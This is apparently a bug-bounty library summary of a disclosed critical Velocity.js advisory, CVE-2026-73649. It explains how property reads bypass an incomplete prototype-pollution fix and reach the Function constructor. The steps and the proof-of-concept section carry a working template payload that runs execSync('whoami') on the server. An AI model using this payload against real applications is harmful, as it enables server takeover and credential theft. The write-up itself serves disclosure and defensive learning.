# Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of GHSA-j658-c2gf-x6pq fix)

Velocity.js 2.1.6 property-read expressions reach Function constructor, letting attacker-controlled templates execute arbitrary shell commands despite the prior #set prototype-pollution fix.

- Payout: Research
- Severity: critical
- Program: Velocity.js
- Found by: cruzryan, cuauht
- Disclosed: 2026-07-24
- CVE: CVE-2026-73649
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7gfh-x38p-prh3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7gfh-x38p-prh3
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:incomplete-fix technique:source-review vuln:prototype-pollution vuln:rce

**Target:** npm template engine (velocityjs) property-read expression evaluator
**Root cause:** The GHSA-j658-c2gf-x6pq fix added isBlockedPathKey() only to the #set assignment target validation in set.cjs; getAttributes() in references.cjs indexes baseRef[property.id] with no filtering, so property reads can traverse constructor.constructor to Function.
**Steps:**
1. Render template `#set($f=$x.constructor.constructor("return process.mainModule.require('child_process').execSync('whoami').toString()"))#set($r=$f())$r` with context `{ x: {} }` via `velocity.render(template, {x:{}})`
2. `$x.constructor` resolves through getAttributes() to Object
3. `.constructor` resolves to Function
4. Calling Function with the string body creates a function executing execSync('whoami')
5. `#set($r=$f())` invokes it and `$r` renders the command output
**How found:** Noticed the prior advisory's isBlockedPathKey() guard lives only in set.cjs and validates the assignment target, not the value expression; traced value evaluation to getReferences()/getAttributes() and saw the unfiltered baseRef[property.id] index, then chained constructor.constructor to Function.
**Exploitation:** Any app rendering attacker-controlled Velocity templates: attacker supplies the template, property-read chain reaches Function constructor, arbitrary shell commands run on the server, enabling env/cloud credential theft and internal pivoting.
**Insight:** When a prototype-pollution fix blocks dangerous keys, check every other place the same key lookup happens — here the read path (getAttributes) was left unguarded while only the write path (#set) was patched, turning a pollution guard into an RCE bypass.

## Proof of concept (copied exactly from the original report)

**Velocity template RCE via constructor.constructor**

```
const template = "#set($f=$x.constructor.constructor(\"return process.mainModule.require('child_process').execSync('whoami').toString()\"))#set($r=$f())$r";

console.log(velocity.render(template, { x: {} }));
```

